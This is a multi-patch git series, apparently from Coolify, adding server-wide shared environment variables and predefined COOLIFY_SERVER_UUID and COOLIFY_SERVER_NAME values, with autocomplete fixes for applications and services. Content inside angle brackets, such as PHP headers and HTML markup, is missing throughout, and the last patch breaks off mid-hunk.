From e8d985211e19b881abe721d54a2d6df8e23b961a Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Wed, 24 Dec 2025 11:30:16 +0100 Subject: [PATCH 01/95] feat: shared server environment variables --- app/Jobs/ApplicationDeploymentJob.php | 24 +-- app/Livewire/SharedVariables/Server/Index.php | 22 +++ app/Livewire/SharedVariables/Server/Show.php | 169 ++++++++++++++++++ app/Models/EnvironmentVariable.php | 65 ++++++- app/Models/Server.php | 5 + app/Models/SharedEnvironmentVariable.php | 5 + app/View/Components/Forms/EnvVarInput.php | 4 + bootstrap/helpers/constants.php | 2 +- ..._to_shared_environment_variables_table.php | 35 ++++ .../livewire/shared-variables/index.blade.php | 48 ++--- .../shared-variables/server/index.blade.php | 25 +++ .../shared-variables/server/show.blade.php | 36 ++++ routes/web.php | 4 + 13 files changed, 411 insertions(+), 33 deletions(-) create mode 100644 app/Livewire/SharedVariables/Server/Index.php create mode 100644 app/Livewire/SharedVariables/Server/Show.php create mode 100644 database/migrations/2025_12_24_095507_add_server_to_shared_environment_variables_table.php create mode 100644 resources/views/livewire/shared-variables/server/index.blade.php create mode 100644 resources/views/livewire/shared-variables/server/show.blade.php diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 56a29276b..b37eb9833 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -1234,7 +1234,7 @@ private function generate_runtime_environment_variables() }); foreach ($runtime_environment_variables as $env) { - $envs->push($env->key.'='.$env->real_value); + $envs->push($env->key.'='.$env->getResolvedValueWithServer($this->server)); } // Check for PORT environment variable mismatch with ports_exposes @@ -1300,7 +1300,7 @@ private function generate_runtime_environment_variables() }); foreach ($runtime_environment_variables_preview as $env) { - $envs->push($env->key.'='.$env->real_value); + $envs->push($env->key.'='.$env->getResolvedValueWithServer($this->server)); } // Add PORT if not exists, use the first port as default if ($this->build_pack !== 'dockercompose') { @@ -2304,14 +2304,16 @@ private function generate_nixpacks_env_variables() $this->env_nixpacks_args = collect([]); if ($this->pull_request_id === 0) { foreach ($this->application->nixpacks_environment_variables as $env) { - if (! is_null($env->real_value) && $env->real_value !== '') { - $this->env_nixpacks_args->push("--env {$env->key}={$env->real_value}"); + $resolvedValue = $env->getResolvedValueWithServer($this->server); + if (! is_null($resolvedValue) && $resolvedValue !== '') { + $this->env_nixpacks_args->push("--env {$env->key}={$resolvedValue}"); } } } else { foreach ($this->application->nixpacks_environment_variables_preview as $env) { - if (! is_null($env->real_value) && $env->real_value !== '') { - $this->env_nixpacks_args->push("--env {$env->key}={$env->real_value}"); + $resolvedValue = $env->getResolvedValueWithServer($this->server); + if (! is_null($resolvedValue) && $resolvedValue !== '') { + $this->env_nixpacks_args->push("--env {$env->key}={$resolvedValue}"); } } } @@ -2447,8 +2449,9 @@ private function generate_env_variables() ->get(); foreach ($envs as $env) { - if (! is_null($env->real_value)) { - $this->env_args->put($env->key, $env->real_value); + $resolvedValue = $env->getResolvedValueWithServer($this->server); + if (! is_null($resolvedValue)) { + $this->env_args->put($env->key, $resolvedValue); } } } else { @@ -2458,8 +2461,9 @@ private function generate_env_variables() ->get(); foreach ($envs as $env) { - if (! is_null($env->real_value)) { - $this->env_args->put($env->key, $env->real_value); + $resolvedValue = $env->getResolvedValueWithServer($this->server); + if (! is_null($resolvedValue)) { + $this->env_args->put($env->key, $resolvedValue); } } } diff --git a/app/Livewire/SharedVariables/Server/Index.php b/app/Livewire/SharedVariables/Server/Index.php new file mode 100644 index 000000000..cd10e510a --- /dev/null +++ b/app/Livewire/SharedVariables/Server/Index.php @@ -0,0 +1,22 @@ +servers = Server::ownedByCurrentTeamCached(); + } + + public function render() + { + return view('livewire.shared-variables.server.index'); + } +} diff --git a/app/Livewire/SharedVariables/Server/Show.php b/app/Livewire/SharedVariables/Server/Show.php new file mode 100644 index 000000000..6aa34f242 --- /dev/null +++ b/app/Livewire/SharedVariables/Server/Show.php @@ -0,0 +1,169 @@ + 'refreshEnvs', 'saveKey' => 'saveKey', 'environmentVariableDeleted' => 'refreshEnvs']; + + public function saveKey($data) + { + try { + $this->authorize('update', $this->server); + + $found = $this->server->environment_variables()->where('key', $data['key'])->first(); + if ($found) { + throw new \Exception('Variable already exists.'); + } + $this->server->environment_variables()->create([ + 'key' => $data['key'], + 'value' => $data['value'], + 'is_multiline' => $data['is_multiline'], + 'is_literal' => $data['is_literal'], + 'type' => 'server', + 'team_id' => currentTeam()->id, + ]); + $this->server->refresh(); + $this->getDevView(); + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + + public function mount() + { + $serverUuid = request()->route('server_uuid'); + $teamId = currentTeam()->id; + $server = Server::where('team_id', $teamId)->where('uuid', $serverUuid)->first(); + if (!$server) { + return redirect()->route('dashboard'); + } + $this->server = $server; + $this->getDevView(); + } + + public function switch() + { + $this->authorize('view', $this->server); + $this->view = $this->view === 'normal' ? 'dev' : 'normal'; + $this->getDevView(); + } + + public function getDevView() + { + $this->variables = $this->formatEnvironmentVariables($this->server->environment_variables->sortBy('key')); + } + + private function formatEnvironmentVariables($variables) + { + return $variables->map(function ($item) { + if ($item->is_shown_once) { + return "$item->key=(Locked Secret, delete and add again to change)"; + } + if ($item->is_multiline) { + return "$item->key=(Multiline environment variable, edit in normal view)"; + } + + return "$item->key=$item->value"; + })->join("\n"); + } + + public function submit() + { + try { + $this->authorize('update', $this->server); + $this->handleBulkSubmit(); + $this->getDevView(); + } catch (\Throwable $e) { + return handleError($e, $this); + } finally { + $this->refreshEnvs(); + } + } + + private function handleBulkSubmit() + { + $variables = parseEnvFormatToArray($this->variables); + + $changesMade = DB::transaction(function () use ($variables) { + // Delete removed variables + $deletedCount = $this->deleteRemovedVariables($variables); + + // Update or create variables + $updatedCount = $this->updateOrCreateVariables($variables); + + return $deletedCount > 0 || $updatedCount > 0; + }); + + if ($changesMade) { + $this->dispatch('success', 'Environment variables updated.'); + } + } + + private function deleteRemovedVariables($variables) + { + $variablesToDelete = $this->server->environment_variables()->whereNotIn('key', array_keys($variables))->get(); + + if ($variablesToDelete->isEmpty()) { + return 0; + } + + $this->server->environment_variables()->whereNotIn('key', array_keys($variables))->delete(); + + return $variablesToDelete->count(); + } + + private function updateOrCreateVariables($variables) + { + $count = 0; + foreach ($variables as $key => $value) { + $found = $this->server->environment_variables()->where('key', $key)->first(); + + if ($found) { + if (! $found->is_shown_once && ! $found->is_multiline) { + if ($found->value !== $value) { + $found->value = $value; + $found->save(); + $count++; + } + } + } else { + $this->server->environment_variables()->create([ + 'key' => $key, + 'value' => $value, + 'is_multiline' => false, + 'is_literal' => false, + 'type' => 'server', + 'team_id' => currentTeam()->id, + ]); + $count++; + } + } + + return $count; + } + + public function refreshEnvs() + { + $this->server->refresh(); + $this->getDevView(); + } + + public function render() + { + return view('livewire.shared-variables.server.show'); + } +} \ No newline at end of file diff --git a/app/Models/EnvironmentVariable.php b/app/Models/EnvironmentVariable.php index 895dc1c43..9308b9ce6 100644 --- a/app/Models/EnvironmentVariable.php +++ b/app/Models/EnvironmentVariable.php @@ -122,6 +122,17 @@ public function realValue(): Attribute return null; } + // Load relationships needed for shared variable resolution + if (! $resource->relationLoaded('environment')) { + $resource->load('environment'); + } + if (! $resource->relationLoaded('server') && method_exists($resource, 'server')) { + $resource->load('server'); + } + if (! $resource->relationLoaded('destination') && method_exists($resource, 'destination')) { + $resource->load('destination.server'); + } + $real_value = $this->get_real_environment_variables($this->value, $resource); if ($this->is_literal || $this->is_multiline) { $real_value = '\''.$real_value.'\''; @@ -181,7 +192,43 @@ protected function isShared(): Attribute ); } - private function get_real_environment_variables(?string $environment_variable = null, $resource = null) + public function get_real_environment_variables_with_server(?string $environment_variable = null, $resource = null, $server = null) + { + return $this->get_real_environment_variables_internal($environment_variable, $resource, $server); + } + + public function getResolvedValueWithServer($server = null) + { + if (! $this->relationLoaded('resourceable')) { + $this->load('resourceable'); + } + $resource = $this->resourceable; + if (! $resource) { + return null; + } + + // Load relationships needed for shared variable resolution + if (! $resource->relationLoaded('environment')) { + $resource->load('environment'); + } + if (! $resource->relationLoaded('server') && method_exists($resource, 'server')) { + $resource->load('server'); + } + if (! $resource->relationLoaded('destination') && method_exists($resource, 'destination')) { + $resource->load('destination.server'); + } + + $real_value = $this->get_real_environment_variables_internal($this->value, $resource, $server); + if ($this->is_literal || $this->is_multiline) { + $real_value = '\''.$real_value.'\''; + } else { + $real_value = escapeEnvVariables($real_value); + } + + return $real_value; + } + + private function get_real_environment_variables_internal(?string $environment_variable = null, $resource = null, $serverOverride = null) { if ((is_null($environment_variable) && $environment_variable === '') || is_null($resource)) { return null; @@ -203,6 +250,17 @@ private function get_real_environment_variables(?string $environment_variable = $id = $resource->environment->project->id; } elseif ($type->value() === 'team') { $id = $resource->team()->id; + } elseif ($type->value() === 'server') { + // Use server override if provided (for deployment context), otherwise use resource's server + if ($serverOverride) { + $id = $serverOverride->id; + } elseif (isset($resource->server) && $resource->server) { + $id = $resource->server->id; + } elseif (isset($resource->destination) && $resource->destination && isset($resource->destination->server)) { + $id = $resource->destination->server->id; + } else { + $id = null; + } } if (is_null($id)) { continue; @@ -216,6 +274,11 @@ private function get_real_environment_variables(?string $environment_variable = return str($environment_variable)->value(); } + private function get_real_environment_variables(?string $environment_variable = null, $resource = null) + { + return $this->get_real_environment_variables_internal($environment_variable, $resource); + } + private function get_environment_variables(?string $environment_variable = null): ?string { if (! $environment_variable) { diff --git a/app/Models/Server.php b/app/Models/Server.php index be39e3f8d..31d4f6440 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -1016,6 +1016,11 @@ public function team() return $this->belongsTo(Team::class); } + public function environment_variables() + { + return $this->hasMany(SharedEnvironmentVariable::class)->where('type', 'server'); + } + public function isProxyShouldRun() { // TODO: Do we need "|| $this->proxy->force_stop" here? diff --git a/app/Models/SharedEnvironmentVariable.php b/app/Models/SharedEnvironmentVariable.php index 7956f006a..7b68bbac9 100644 --- a/app/Models/SharedEnvironmentVariable.php +++ b/app/Models/SharedEnvironmentVariable.php @@ -27,4 +27,9 @@ public function environment() { return $this->belongsTo(Environment::class); } + + public function server() + { + return $this->belongsTo(Server::class); + } } diff --git a/app/View/Components/Forms/EnvVarInput.php b/app/View/Components/Forms/EnvVarInput.php index 4a98e4a51..faef64a36 100644 --- a/app/View/Components/Forms/EnvVarInput.php +++ b/app/View/Components/Forms/EnvVarInput.php @@ -38,6 +38,7 @@ public function __construct( public array $availableVars = [], public ?string $projectUuid = null, public ?string $environmentUuid = null, + public ?string $serverUuid = null, ) { // Handle authorization-based disabling if ($this->canGate && $this->canResource && $this->autoDisable) { @@ -86,6 +87,9 @@ public function render(): View|Closure|string 'environment_uuid' => $this->environmentUuid, ]) : route('shared-variables.environment.index'), + 'server' => $this->serverUuid + ? route('shared-variables.server.show', ['server_uuid' => $this->serverUuid]) + : route('shared-variables.server.index'), 'default' => route('shared-variables.index'), ]; diff --git a/bootstrap/helpers/constants.php b/bootstrap/helpers/constants.php index bbbe2bc05..9c103aaac 100644 --- a/bootstrap/helpers/constants.php +++ b/bootstrap/helpers/constants.php @@ -81,4 +81,4 @@ const NEEDS_TO_DISABLE_STRIPPREFIX = [ 'appwrite' => ['appwrite', 'appwrite-console', 'appwrite-realtime'], ]; -const SHARED_VARIABLE_TYPES = ['team', 'project', 'environment']; +const SHARED_VARIABLE_TYPES = ['team', 'project', 'environment', 'server']; diff --git a/database/migrations/2025_12_24_095507_add_server_to_shared_environment_variables_table.php b/database/migrations/2025_12_24_095507_add_server_to_shared_environment_variables_table.php new file mode 100644 index 000000000..0207ed955 --- /dev/null +++ b/database/migrations/2025_12_24_095507_add_server_to_shared_environment_variables_table.php @@ -0,0 +1,35 @@ +foreignId('server_id')->nullable()->constrained()->onDelete('cascade'); + $table->unique(['key', 'server_id', 'team_id']); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::table('shared_environment_variables', function (Blueprint $table) { + $table->dropUnique(['key', 'server_id', 'team_id']); + $table->dropForeign(['server_id']); + $table->dropColumn('server_id'); + }); + DB::statement("ALTER TABLE shared_environment_variables DROP CONSTRAINT shared_environment_variables_type_check"); + DB::statement("ALTER TABLE shared_environment_variables ADD CONSTRAINT shared_environment_variables_type_check CHECK (type IN ('team', 'project', 'environment'))"); + } +}; diff --git a/resources/views/livewire/shared-variables/index.blade.php b/resources/views/livewire/shared-variables/index.blade.php index 3e19e5f1a..5064b75ba 100644 --- a/resources/views/livewire/shared-variables/index.blade.php +++ b/resources/views/livewire/shared-variables/index.blade.php @@ -5,27 +5,33 @@

Shared Variables

-
Set Team / Project / Environment wide variables.
+
Set Team / Project / Environment / Server wide variables.
-
- -
-
Team wide
-
Usable for all resources in a team.
-
-
- -
-
Project wide
-
Usable for all resources in a project.
-
-
- -
-
Environment wide
-
Usable for all resources in an environment.
-
-
+
+ +
+
Team wide
+
Usable for all resources in a team.
+
+
+ +
+
Project wide
+
Usable for all resources in a project.
+
+
+ +
+
Environment wide
+
Usable for all resources in an environment.
+
+
+ +
+
Server wide
+
Usable for all resources in a server.
+
+
-
+
diff --git a/resources/views/livewire/shared-variables/server/index.blade.php b/resources/views/livewire/shared-variables/server/index.blade.php new file mode 100644 index 000000000..4183fee5b --- /dev/null +++ b/resources/views/livewire/shared-variables/server/index.blade.php @@ -0,0 +1,25 @@ +
+ + Server Variables | Coolify + +
+

Servers

+
+
List of your servers.
+
+ @forelse ($servers as $server) + +
+
{{ $server->name }}
+
+ {{ $server->description }}
+
+
+ @empty +
+
No server found.
+
+ @endforelse +
+
\ No newline at end of file diff --git a/resources/views/livewire/shared-variables/server/show.blade.php b/resources/views/livewire/shared-variables/server/show.blade.php new file mode 100644 index 000000000..44ceeae7f --- /dev/null +++ b/resources/views/livewire/shared-variables/server/show.blade.php @@ -0,0 +1,36 @@ +
+ + Server Variable | Coolify + +
+

Shared Variables for {{ data_get($server, 'name') }}

+ @can('update', $server) + + + + @endcan + {{ $view === 'normal' ? 'Developer view' : 'Normal view' }} +
+
+
You can use these variables anywhere with
+
@{{ server.VARIABLENAME }}
+ +
+ @if ($view === 'normal') +
+ @forelse ($server->environment_variables->sort()->sortBy('key') as $env) + + @empty +
No environment variables found.
+ @endforelse +
+ @else +
+ + Save All Environment Variables +
+ @endif +
\ No newline at end of file diff --git a/routes/web.php b/routes/web.php index 2a9072299..c2c9293fd 100644 --- a/routes/web.php +++ b/routes/web.php @@ -70,6 +70,8 @@ use App\Livewire\SharedVariables\Index as SharedVariablesIndex; use App\Livewire\SharedVariables\Project\Index as ProjectSharedVariablesIndex; use App\Livewire\SharedVariables\Project\Show as ProjectSharedVariablesShow; +use App\Livewire\SharedVariables\Server\Index as ServerSharedVariablesIndex; +use App\Livewire\SharedVariables\Server\Show as ServerSharedVariablesShow; use App\Livewire\SharedVariables\Team\Index as TeamSharedVariablesIndex; use App\Livewire\Source\Github\Change as GitHubChange; use App\Livewire\Storage\Index as StorageIndex; @@ -145,6 +147,8 @@ Route::get('/project/{project_uuid}', ProjectSharedVariablesShow::class)->name('shared-variables.project.show'); Route::get('/environments', EnvironmentSharedVariablesIndex::class)->name('shared-variables.environment.index'); Route::get('/environments/project/{project_uuid}/environment/{environment_uuid}', EnvironmentSharedVariablesShow::class)->name('shared-variables.environment.show'); + Route::get('/servers', ServerSharedVariablesIndex::class)->name('shared-variables.server.index'); + Route::get('/server/{server_uuid}', ServerSharedVariablesShow::class)->name('shared-variables.server.show'); }); Route::prefix('team')->group(function () { From 81009c29cf58b024605bc75d6163af9964f5e5dd Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Wed, 24 Dec 2025 13:31:40 +0100 Subject: [PATCH 02/95] fix: server env shows not found on application variables input field on autocomplete --- .../Shared/EnvironmentVariable/Add.php | 41 +++++++++++++++++++ .../Shared/EnvironmentVariable/Show.php | 41 +++++++++++++++++++ .../components/forms/env-var-input.blade.php | 2 +- .../shared/environment-variable/add.blade.php | 3 +- .../environment-variable/show.blade.php | 9 ++-- 5 files changed, 91 insertions(+), 5 deletions(-) diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/Add.php b/app/Livewire/Project/Shared/EnvironmentVariable/Add.php index fa65e8bd2..f1b92c5db 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/Add.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/Add.php @@ -67,6 +67,7 @@ public function availableSharedVariables(): array 'team' => [], 'project' => [], 'environment' => [], + 'server' => [], ]; // Early return if no team @@ -122,6 +123,46 @@ public function availableSharedVariables(): array } } + // Get server variables + $serverUuid = data_get($this->parameters, 'server_uuid'); + if ($serverUuid) { + // If we have a specific server_uuid, show variables for that server + $server = \App\Models\Server::where('team_id', $team->id) + ->where('uuid', $serverUuid) + ->first(); + + if ($server) { + try { + $this->authorize('view', $server); + $result['server'] = $server->environment_variables() + ->pluck('key') + ->toArray(); + } catch (\Illuminate\Auth\Access\AuthorizationException $e) { + // User not authorized to view server variables + } + } + } else { + // For application environment variables, try to use the application's destination server + $applicationUuid = data_get($this->parameters, 'application_uuid'); + if ($applicationUuid) { + $application = \App\Models\Application::whereRelation('environment.project.team', 'id', $team->id) + ->where('uuid', $applicationUuid) + ->with('destination.server') + ->first(); + + if ($application && $application->destination && $application->destination->server) { + try { + $this->authorize('view', $application->destination->server); + $result['server'] = $application->destination->server->environment_variables() + ->pluck('key') + ->toArray(); + } catch (\Illuminate\Auth\Access\AuthorizationException $e) { + // User not authorized to view server variables + } + } + } + } + return $result; } diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php index 2030f631e..a14adb83f 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php @@ -204,6 +204,7 @@ public function availableSharedVariables(): array 'team' => [], 'project' => [], 'environment' => [], + 'server' => [], ]; // Early return if no team @@ -259,6 +260,46 @@ public function availableSharedVariables(): array } } + // Get server variables + $serverUuid = data_get($this->parameters, 'server_uuid'); + if ($serverUuid) { + // If we have a specific server_uuid, show variables for that server + $server = \App\Models\Server::where('team_id', $team->id) + ->where('uuid', $serverUuid) + ->first(); + + if ($server) { + try { + $this->authorize('view', $server); + $result['server'] = $server->environment_variables() + ->pluck('key') + ->toArray(); + } catch (\Illuminate\Auth\Access\AuthorizationException $e) { + // User not authorized to view server variables + } + } + } else { + // For application environment variables, try to use the application's destination server + $applicationUuid = data_get($this->parameters, 'application_uuid'); + if ($applicationUuid) { + $application = \App\Models\Application::whereRelation('environment.project.team', 'id', $team->id) + ->where('uuid', $applicationUuid) + ->with('destination.server') + ->first(); + + if ($application && $application->destination && $application->destination->server) { + try { + $this->authorize('view', $application->destination->server); + $result['server'] = $application->destination->server->environment_variables() + ->pluck('key') + ->toArray(); + } catch (\Illuminate\Auth\Access\AuthorizationException $e) { + // User not authorized to view server variables + } + } + } + } + return $result; } diff --git a/resources/views/components/forms/env-var-input.blade.php b/resources/views/components/forms/env-var-input.blade.php index 2466a57f9..dde535f19 100644 --- a/resources/views/components/forms/env-var-input.blade.php +++ b/resources/views/components/forms/env-var-input.blade.php @@ -17,7 +17,7 @@ selectedIndex: 0, cursorPosition: 0, currentScope: null, - availableScopes: ['team', 'project', 'environment'], + availableScopes: ['team', 'project', 'environment', 'server'], availableVars: @js($availableVars), scopeUrls: @js($scopeUrls), diff --git a/resources/views/livewire/project/shared/environment-variable/add.blade.php b/resources/views/livewire/project/shared/environment-variable/add.blade.php index 9bc4f06a3..daf808c5e 100644 --- a/resources/views/livewire/project/shared/environment-variable/add.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/add.blade.php @@ -6,7 +6,8 @@ + :environmentUuid="data_get($parameters, 'environment_uuid')" + :serverUuid="data_get($parameters, 'server_uuid')" /> @endif @if (!$shared && !$is_multiline) diff --git a/resources/views/livewire/project/shared/environment-variable/show.blade.php b/resources/views/livewire/project/shared/environment-variable/show.blade.php index 68e1d7e7d..d2195c2af 100644 --- a/resources/views/livewire/project/shared/environment-variable/show.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/show.blade.php @@ -111,7 +111,8 @@ id="value" :availableVars="$this->availableSharedVariables" :projectUuid="data_get($parameters, 'project_uuid')" - :environmentUuid="data_get($parameters, 'environment_uuid')" /> + :environmentUuid="data_get($parameters, 'environment_uuid')" + :serverUuid="data_get($parameters, 'server_uuid')" /> @if ($is_shared) @endif @@ -129,7 +130,8 @@ id="value" :availableVars="$this->availableSharedVariables" :projectUuid="data_get($parameters, 'project_uuid')" - :environmentUuid="data_get($parameters, 'environment_uuid')" /> + :environmentUuid="data_get($parameters, 'environment_uuid')" + :serverUuid="data_get($parameters, 'server_uuid')" /> @endif @if ($is_shared) @@ -145,7 +147,8 @@ id="value" :availableVars="$this->availableSharedVariables" :projectUuid="data_get($parameters, 'project_uuid')" - :environmentUuid="data_get($parameters, 'environment_uuid')" /> + :environmentUuid="data_get($parameters, 'environment_uuid')" + :serverUuid="data_get($parameters, 'server_uuid')" /> @if ($is_shared) @endif From 5ed308dcf01dba904c4a131cbcc8ac92c2b7a9d2 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Wed, 24 Dec 2025 13:58:50 +0100 Subject: [PATCH 03/95] feat: predefined server variables (COOLIFY_SERVER_NAME, COOLIFY_SERVER_UUID) These are not visible on shared env page but user can use these variables like they use the COOLIFY_RESOURCE_UUID --- app/Livewire/SharedVariables/Server/Show.php | 20 +++++++++++++--- app/Models/Environment.php | 2 +- app/Models/Project.php | 2 +- app/Models/Server.php | 19 ++++++++++++++- app/Models/Team.php | 2 +- .../SharedEnvironmentVariableSeeder.php | 23 +++++++++++++++++++ .../shared-variables/server/show.blade.php | 2 +- 7 files changed, 62 insertions(+), 8 deletions(-) diff --git a/app/Livewire/SharedVariables/Server/Show.php b/app/Livewire/SharedVariables/Server/Show.php index 6aa34f242..1dd9f9d46 100644 --- a/app/Livewire/SharedVariables/Server/Show.php +++ b/app/Livewire/SharedVariables/Server/Show.php @@ -24,6 +24,10 @@ public function saveKey($data) try { $this->authorize('update', $this->server); + if (in_array($data['key'], ['COOLIFY_SERVER_UUID', 'COOLIFY_SERVER_NAME'])) { + throw new \Exception('Cannot create predefined variable.'); + } + $found = $this->server->environment_variables()->where('key', $data['key'])->first(); if ($found) { throw new \Exception('Variable already exists.'); @@ -64,7 +68,7 @@ public function switch() public function getDevView() { - $this->variables = $this->formatEnvironmentVariables($this->server->environment_variables->sortBy('key')); + $this->variables = $this->formatEnvironmentVariables($this->server->environment_variables->whereNotIn('key', ['COOLIFY_SERVER_UUID', 'COOLIFY_SERVER_NAME'])->sortBy('key')); } private function formatEnvironmentVariables($variables) @@ -115,13 +119,19 @@ private function handleBulkSubmit() private function deleteRemovedVariables($variables) { - $variablesToDelete = $this->server->environment_variables()->whereNotIn('key', array_keys($variables))->get(); + $variablesToDelete = $this->server->environment_variables() + ->whereNotIn('key', array_keys($variables)) + ->whereNotIn('key', ['COOLIFY_SERVER_UUID', 'COOLIFY_SERVER_NAME']) + ->get(); if ($variablesToDelete->isEmpty()) { return 0; } - $this->server->environment_variables()->whereNotIn('key', array_keys($variables))->delete(); + $this->server->environment_variables() + ->whereNotIn('key', array_keys($variables)) + ->whereNotIn('key', ['COOLIFY_SERVER_UUID', 'COOLIFY_SERVER_NAME']) + ->delete(); return $variablesToDelete->count(); } @@ -130,6 +140,10 @@ private function updateOrCreateVariables($variables) { $count = 0; foreach ($variables as $key => $value) { + // Skip predefined variables + if (in_array($key, ['COOLIFY_SERVER_UUID', 'COOLIFY_SERVER_NAME'])) { + continue; + } $found = $this->server->environment_variables()->where('key', $key)->first(); if ($found) { diff --git a/app/Models/Environment.php b/app/Models/Environment.php index c2ad9d2cb..38138da1e 100644 --- a/app/Models/Environment.php +++ b/app/Models/Environment.php @@ -56,7 +56,7 @@ public function isEmpty() public function environment_variables() { - return $this->hasMany(SharedEnvironmentVariable::class); + return $this->hasMany(SharedEnvironmentVariable::class)->where('type', 'environment'); } public function applications() diff --git a/app/Models/Project.php b/app/Models/Project.php index 8b26672f0..c1d7dc82a 100644 --- a/app/Models/Project.php +++ b/app/Models/Project.php @@ -73,7 +73,7 @@ protected static function booted() public function environment_variables() { - return $this->hasMany(SharedEnvironmentVariable::class); + return $this->hasMany(SharedEnvironmentVariable::class)->where('type', 'project'); } public function environments() diff --git a/app/Models/Server.php b/app/Models/Server.php index 31d4f6440..46587e7bc 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -19,6 +19,7 @@ use App\Traits\HasSafeStringAttribute; use Illuminate\Database\Eloquent\Builder; use Illuminate\Database\Eloquent\Casts\Attribute; +use Illuminate\Database\Eloquent\Relations\HasMany; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\SoftDeletes; use Illuminate\Support\Carbon; @@ -168,9 +169,25 @@ protected static function booted() $standaloneDocker->saveQuietly(); } } - if (! isset($server->proxy->redirect_enabled)) { + if (! isset($server->proxy->redirect_enabled)) { $server->proxy->redirect_enabled = true; } + + // Create predefined server shared variables + SharedEnvironmentVariable::create([ + 'key' => 'COOLIFY_SERVER_UUID', + 'value' => $server->uuid, + 'type' => 'server', + 'server_id' => $server->id, + 'team_id' => $server->team_id, + ]); + SharedEnvironmentVariable::create([ + 'key' => 'COOLIFY_SERVER_NAME', + 'value' => $server->name, + 'type' => 'server', + 'server_id' => $server->id, + 'team_id' => $server->team_id, + ]); }); static::retrieved(function ($server) { if (! isset($server->proxy->redirect_enabled)) { diff --git a/app/Models/Team.php b/app/Models/Team.php index 5cb186942..b98ae08ff 100644 --- a/app/Models/Team.php +++ b/app/Models/Team.php @@ -214,7 +214,7 @@ public function subscriptionEnded() public function environment_variables() { - return $this->hasMany(SharedEnvironmentVariable::class)->whereNull('project_id')->whereNull('environment_id'); + return $this->hasMany(SharedEnvironmentVariable::class)->where('type', 'team'); } public function members() diff --git a/database/seeders/SharedEnvironmentVariableSeeder.php b/database/seeders/SharedEnvironmentVariableSeeder.php index 54643fe3b..b55d13a17 100644 --- a/database/seeders/SharedEnvironmentVariableSeeder.php +++ b/database/seeders/SharedEnvironmentVariableSeeder.php @@ -2,6 +2,7 @@ namespace Database\Seeders; +use App\Models\Server; use App\Models\SharedEnvironmentVariable; use Illuminate\Database\Seeder; @@ -32,5 +33,27 @@ public function run(): void 'project_id' => 1, 'team_id' => 0, ]); + + // Add predefined server variables to all existing servers + $servers = \App\Models\Server::all(); + foreach ($servers as $server) { + SharedEnvironmentVariable::firstOrCreate([ + 'key' => 'COOLIFY_SERVER_UUID', + 'type' => 'server', + 'server_id' => $server->id, + 'team_id' => $server->team_id, + ], [ + 'value' => $server->uuid, + ]); + + SharedEnvironmentVariable::firstOrCreate([ + 'key' => 'COOLIFY_SERVER_NAME', + 'type' => 'server', + 'server_id' => $server->id, + 'team_id' => $server->team_id, + ], [ + 'value' => $server->name, + ]); + } } } diff --git a/resources/views/livewire/shared-variables/server/show.blade.php b/resources/views/livewire/shared-variables/server/show.blade.php index 44ceeae7f..cddde9c76 100644 --- a/resources/views/livewire/shared-variables/server/show.blade.php +++ b/resources/views/livewire/shared-variables/server/show.blade.php @@ -19,7 +19,7 @@ @if ($view === 'normal')
- @forelse ($server->environment_variables->sort()->sortBy('key') as $env) + @forelse ($server->environment_variables->whereNotIn('key', ['COOLIFY_SERVER_UUID', 'COOLIFY_SERVER_NAME'])->sort()->sortBy('key') as $env) @empty From 09e14d2f516a426822b5c441ceda12bafba475cf Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Wed, 24 Dec 2025 14:40:00 +0100 Subject: [PATCH 04/95] fix: server env not showing for services --- .../Shared/EnvironmentVariable/Add.php | 20 +++++++++++++++++++ .../Shared/EnvironmentVariable/Show.php | 20 +++++++++++++++++++ 2 files changed, 40 insertions(+) diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/Add.php b/app/Livewire/Project/Shared/EnvironmentVariable/Add.php index f1b92c5db..fdcb39270 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/Add.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/Add.php @@ -160,6 +160,26 @@ public function availableSharedVariables(): array // User not authorized to view server variables } } + } else { + // For service environment variables, try to use the service's server + $serviceUuid = data_get($this->parameters, 'service_uuid'); + if ($serviceUuid) { + $service = \App\Models\Service::whereRelation('environment.project.team', 'id', $team->id) + ->where('uuid', $serviceUuid) + ->with('server') + ->first(); + + if ($service && $service->server) { + try { + $this->authorize('view', $service->server); + $result['server'] = $service->server->environment_variables() + ->pluck('key') + ->toArray(); + } catch (\Illuminate\Auth\Access\AuthorizationException $e) { + // User not authorized to view server variables + } + } + } } } diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php index a14adb83f..ac7549f18 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php @@ -297,6 +297,26 @@ public function availableSharedVariables(): array // User not authorized to view server variables } } + } else { + // For service environment variables, try to use the service's server + $serviceUuid = data_get($this->parameters, 'service_uuid'); + if ($serviceUuid) { + $service = \App\Models\Service::whereRelation('environment.project.team', 'id', $team->id) + ->where('uuid', $serviceUuid) + ->with('server') + ->first(); + + if ($service && $service->server) { + try { + $this->authorize('view', $service->server); + $result['server'] = $service->server->environment_variables() + 